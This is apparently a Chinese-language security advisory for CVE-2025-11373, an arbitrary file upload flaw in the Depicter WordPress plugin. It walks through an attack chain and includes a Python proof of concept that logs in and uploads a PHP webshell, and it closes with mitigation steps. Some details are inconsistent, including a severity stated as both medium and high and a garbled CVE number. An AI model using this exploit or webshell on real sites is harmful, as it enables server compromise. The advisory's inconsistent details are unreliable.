IPBUF安全漏洞报告
English
CVE-2025-11373 CVSS 4.3 中危

CVE-2025-11373 WordPress Depicter插件任意文件上传漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11373
漏洞类型
任意文件上传
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Popup and Slider Builder by Depicter WordPress插件(版本 <= 4.0.4)

相关标签

任意文件上传权限绕过CSRFWordPress插件漏洞DepicterCVE-2025-11373远程代码执行Web安全

漏洞概述

CVE-202-11373是WordPress Depicter插件中的一个高危安全漏洞。该插件是一款流行的弹出窗口和滑块构建器工具,用于在WordPress网站上创建邮件收集弹窗、弹窗模态框、优惠券弹窗、图片滑块、轮播滑块和文章滑块等。漏洞源于该插件在处理媒体文件上传时,对"depicter-media-upload" AJAX路由缺少适当的能力检查(capability checks)。攻击者利用此漏洞可以绕过正常的权限验证机制,上传任意文件到受影响的服务器。由于该AJAX路由还缺少CSRF中间件保护,安全性进一步降低。受影响的版本为4.0.4及之前的所有版本。攻击者需要拥有至少Contributor级别的账户权限即可利用此漏洞,这意味着在多用户WordPress网站上,任何具有写作权限的账户都可能成为潜在攻击者。成功利用此漏洞可能导致恶意文件上传、服务器被入侵或网站被完全控制。

技术细节

该漏洞的核心问题在于Depicter插件的"depicter-media-upload" AJAX端点缺少WordPress capability检查。正常情况下,WordPress AJAX处理器应该使用current_user_can()或类似函数验证用户权限,但该路由直接处理文件上传请求,允许任何已认证用户(包括最低权限的Contributor)执行上传操作。此外,根据代码分析,该路由还缺少CSRF保护中间件(CsrfAPIMiddleware),使得攻击可以通过社会工程学手段诱导管理员执行恶意上传请求。FileUploaderService.php中的上传处理逻辑没有对文件类型、内容和目标路径进行严格验证,允许上传任意扩展名的文件。攻击者可以上传PHP webshell、可执行脚本或其他恶意文件,然后通过直接访问上传文件路径来执行任意代码,实现服务器完全接管。整个攻击过程不需要任何用户交互,可在短时间内完成。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标WordPress网站,确认是否安装Depicter插件并确定其版本号(需<=4.0.4)。可通过查看页面源码或访问插件目录获取版本信息。
STEP 2
2. 账户获取
攻击者获取目标网站的WordPress账户访问权限。最低需要Contributor级别账户,可通过弱密码爆破、社会工程学或其他漏洞获取账户凭证。
STEP 3
3. 构造恶意请求
攻击者构造包含恶意文件的POST请求,目标是/depicter-media-upload AJAX端点。由于缺少CSRF保护和能力检查,攻击者可以直接携带认证Cookie发送请求,无需额外的nonce验证。
STEP 4
4. 文件上传
通过FileUploaderService.php的处理逻辑,恶意文件(PHP webshell)被上传到服务器。系统未对文件类型和内容进行严格验证,允许任意扩展名文件通过。
STEP 5
5. 触发执行
攻击者访问上传文件路径,直接执行webshell命令。例如访问 /wp-content/uploads/depicter/shell.php?cmd=whoami 实现远程代码执行。
STEP 6
6. 持久化控制
攻击者利用服务器权限进一步安装后门、窃取数据或横向移动到其他系统,实现对网站的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11373 PoC - Depicter Plugin Arbitrary File Upload # Target: WordPress site with Depicter plugin <= 4.0.4 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'contributor' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Step 1: Authenticate to WordPress session = requests.Session() login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target_url}/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Authentication failed') exit(1) print('[+] Authentication successful') # Step 2: Upload malicious file via depicter-media-upload AJAX endpoint upload_url = f'{target_url}/wp-admin/admin-ajax.php' files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'action': 'depicter-media-upload', '_ajax_nonce': '', # Nonce not required due to missing capability check } response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print('[+] File upload request sent') print(f'[+] Response: {response.text}') else: print(f'[-] Upload failed with status: {response.status_code}')

影响范围

Depicter插件 <= 4.0.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制或禁用新用户注册功能;2)审查并移除所有不必要的Contributor及以上级别账户;3)在Web服务器配置中禁止上传目录的PHP执行权限(通过.htaccess或nginx配置);4)使用安全插件监控"depicter-media-upload" AJAX端点的调用情况;5)考虑暂时禁用Depicter插件直至完成升级。这些措施不能完全消除风险,最根本的解决方案仍是升级到插件最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表